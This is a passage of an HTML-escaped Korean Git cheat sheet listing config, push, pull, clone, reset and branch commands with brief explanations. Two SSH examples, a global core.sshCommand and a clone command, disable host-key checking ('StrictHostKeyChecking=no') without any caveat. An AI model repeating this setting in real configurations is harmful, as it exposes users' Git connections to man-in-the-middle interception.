저장&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--local&lt;/code&gt; : 로컬 설정 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/config&lt;/code&gt;에 저장&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--list&lt;/code&gt; : 설정 확인&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;git-username-설정&quot;&gt;git username 설정&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global user.name &quot;username&quot; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;git-email-설정&quot;&gt;git email 설정&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global user.email &quot;email&quot; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;git-editor-설정-기본에디터는-nano&quot;&gt;git editor 설정 (기본에디터는 nano)&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global core.editor &quot;vim&quot; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;git-alias&quot;&gt;git alias&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global alias.co &quot;checkout&quot; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;위와 같이 설정할 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git co&lt;/code&gt; 명령어로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git checkout&lt;/code&gt; 명령어를 사용할 수 있다.&lt;/p&gt; &lt;h4 id=&quot;git-원격-저장소에서-삭제된-branch를-로컬-저장소에서-자동으로-지우기&quot;&gt;Git 원격 저장소에서 삭제된 branch를 로컬 저장소에서 자동으로 지우기&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global fetch.prune true &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;git-diff-tool-변경&quot;&gt;git diff tool 변경&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global diff.tool bcompare git config --global merge.tool bcompare git config --global difftool.bcompare.cmd &quot;$HOME&quot;/&apos;.bcomp.sh &quot;$LOCAL&quot; &quot;$REMOTE&quot;&apos; git config --global difftool.bcompare.trustExitCode true git config --global mergetool.bcompare.cmd &quot;$HOME&quot;/&apos;.bcomp.sh &quot;$LOCAL&quot; &quot;$REMOTE&quot; &quot;$BASE&quot; &quot;$MERGED&quot;&apos; git config --global mergetool.bcompare.trustExitCode true git config --global mergetool.bcompare.keepBackup false &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;git-ssh-명령어-설정&quot;&gt;git ssh 명령어 설정&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global core.sshCommand &quot;ssh -F $HOME/.ssh/config -i $HOME/.ssh/id_rsa -o UserKnownHostsFile=$HOME/.ssh/known_hosts -o StrictHostKeyChecking=no&quot; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;항상-현재-브랜치로-푸시시키기&quot;&gt;항상 현재 브랜치로 푸시시키기&lt;/h4&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --global push.default current &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-add&quot;&gt;git add&lt;/h2&gt; &lt;p&gt;변경내용 스테이징&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git add &amp;lt;file/path&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-mv&quot;&gt;git mv&lt;/h2&gt; &lt;p&gt;파일을 이동시킬때 또는 이름을 변경할 때 사용&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git mv &amp;lt;src file/path&amp;gt; &amp;lt;dst file/path&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-rm&quot;&gt;git rm&lt;/h2&gt; &lt;p&gt;git에서 파일을 삭제할 때 사용&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git rm &amp;lt;file/path&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;option-1&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--cached&lt;/code&gt; : 인덱스에서만 삭제&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-commit&quot;&gt;git commit&lt;/h2&gt; &lt;p&gt;커밋&lt;/p&gt; &lt;h4 id=&quot;option-2&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m&lt;/code&gt; : 커밋 메세지 설정&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-push&quot;&gt;git push&lt;/h2&gt; &lt;p&gt;서버로 커밋, 태그 (변경사항)을 푸시&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git push &amp;lt;option&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;option-3&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-u (--set-upstream)&lt;/code&gt; : 푸시할 remote 지정 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push -u origin feature/mysql_dbset&lt;/code&gt;) &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-u&lt;/code&gt; 옵션은 최초 한번 설정한 후 생략하여도 푸시가 가능하다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push origin feature/mysql_dbset&lt;/code&gt;&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-f&lt;/code&gt; : 강제 푸시 (서버의 변경사항을 덮어씀, 실무에서 사용하지 않도록 함)&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d&lt;/code&gt; : 원격 저장소의 브랜치 삭제 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push origin -d feature/mysql_dbset&lt;/code&gt;)&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;etc&quot;&gt;etc&lt;/h4&gt; &lt;p&gt;푸시를 편하게 진행하는 방법 : &lt;a href=&quot;https://www.daleseo.com/git-push/&quot;&gt;https://www.daleseo.com/git-push/&lt;/a&gt; \&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;#항상-현재-브랜치로-푸시시키기&quot;&gt;항상 현재 브랜치로 푸시시키기&lt;/a&gt; 를 참조. &lt;br /&gt; 해당 설정을 진행하면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push&lt;/code&gt; 시 현재 브랜치로 자동 푸시된다.&lt;/p&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-fetch&quot;&gt;git fetch&lt;/h2&gt; &lt;p&gt;서버의 변경 내용을 확인함&lt;/p&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-pull&quot;&gt;git pull&lt;/h2&gt; &lt;p&gt;서버의 변경 내용을 확인하고 적용함&lt;/p&gt; &lt;p&gt;모든 브랜치의 내용을 가저욤&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git branch &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\-&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;gt;&quot;&lt;/span&gt; | &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;remote&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;git branch &lt;span class=&quot;nt&quot;&gt;--track&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;#origin/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$remote&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done &lt;/span&gt;git branch &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\-&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;gt;&quot;&lt;/span&gt; | &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;remote&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;git branch &lt;span class=&quot;nt&quot;&gt;--set-upstream-to&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$remote&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;#origin/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done &lt;/span&gt;git fetch &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; git pull &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h5 id=&quot;다른-브랜치에서-특정-브랜치의-내용을-가져올-때&quot;&gt;다른 브랜치에서 특정 브랜치의 내용을 가져올 때&lt;/h5&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git pull origin &amp;lt;branch name&amp;gt;&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;예시 ) develop 브랜치에서 master 변경내용을 가져오고 싶을 때 &lt;br /&gt; 현재 develop 브랜치에 있다고 가정&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git pull origin master &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h5 id=&quot;다른-브랜치에서-또다른-브랜치의-내용을-가져올-때&quot;&gt;다른 브랜치에서 또다른 브랜치의 내용을 가져올 때&lt;/h5&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git pull origin &amp;lt;another branch&amp;gt;:&amp;lt;other branch&amp;gt;&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;예시 ) debug 브랜치에서 master 변경 내용을 가져오고(pull) 싶으나 &lt;br /&gt; 현재 develop 브랜치에 있다고 가정&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git pull origin master:debug &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-clone&quot;&gt;git clone&lt;/h2&gt; &lt;p&gt;원격 저장소를 다운로드 함&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;/wiki/git/clone_part_directory&quot;&gt;특정 경로만 clone 하기&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;option-4&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--config&lt;/code&gt; : 복제할 때 설정을 변경할 수 있음&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;아래와 같은 옵션을 통해 clone 시 특정 ssh key, 유저명 지정 가능&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git clone &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt; user.name&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$gituser&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt; core.sshCommand&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ssh -i &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$curpath&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/clone_id_rsa -o StrictHostKeyChecking=no&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-init&quot;&gt;git init&lt;/h2&gt; &lt;p&gt;.git 디렉토리를 생성하고 깃 프로젝트를 생성/초기화함&lt;/p&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-merge&quot;&gt;git merge&lt;/h2&gt; &lt;p&gt;브랜치간 내용을 머지&lt;/p&gt; &lt;h4 id=&quot;option-5&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--squash&lt;/code&gt; : 커밋을 하나로 합침&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-rebase&quot;&gt;git rebase&lt;/h2&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-checkout&quot;&gt;git checkout&lt;/h2&gt; &lt;p&gt;브랜치간 이동, conflict 해결, 파일 복원 등 다양한 용도로 사용됨&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git checkout &amp;lt;branch name&amp;gt; : 브랜치간 이동 git checkout &amp;lt;filename&amp;gt; : 파일 복원 or conflict 해결 git checkout &amp;lt;commit hash&amp;gt; : 특정 커밋의 변경사항을 적용 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--theirs&lt;/code&gt; : 서버의 변경사항을 적용&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ours&lt;/code&gt; : 로컬의 변경사항을 적용&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-reset&quot;&gt;git reset&lt;/h2&gt; &lt;p&gt;해당 커밋 해쉬로 되돌린다. &lt;br /&gt; 이외에도 커밋 또는 스테이징을 취소 (git add 취소) 하는 역할을 진행한다.&lt;/p&gt; &lt;h4 id=&quot;command&quot;&gt;COMMAND&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git reset HEAD &amp;lt;filename&amp;gt;&lt;/code&gt; : 스테이징 취소 (git add 취소)&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git reset HEAD^&lt;/code&gt; : 마지막 커밋 취소&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git reset HEAD~2&lt;/code&gt; : 최신 2개의 커밋 취소&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git reset &amp;lt;commit&amp;gt;&lt;/code&gt; : 해당 커밋으로 히스토리 되돌림&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;option-6&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--mixed&lt;/code&gt; : commit 취소 및 변경된 파일들은 unstaged 상태로 워킹 디렉터리에 보존&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--soft &lt;/code&gt; : commit 취소 및 변경된 파일들은 staged 상태로 워킹 디렉터리에 보존&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--hard&lt;/code&gt; : commit 취소 및 변경된 파일들은 모두 삭제됨&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-revert&quot;&gt;git revert&lt;/h2&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-branch&quot;&gt;git branch&lt;/h2&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git branch &amp;lt;branch name&amp;gt; : 브랜치 생성 git branch &amp;lt;branch name&amp;gt; &amp;lt;commit hash&amp;gt; : 해당 커밋 해시를 가지는 브랜치 생성 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--orphan&lt;/code&gt; : 빈(고아) 브랜치 생성&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d --delete&lt;/code&gt; : 브랜치 삭제&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D&lt;/code&gt; : 브랜치 강제 삭제 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--delete --force&lt;/code&gt;)&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-cherry-pick&quot;&gt;git cherry-pick&lt;/h2&gt; &lt;p&gt;특정 커밋의 변경사항을 현재 브랜치에 적용한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git cherry-pick &amp;lt;commit hash&amp;gt; 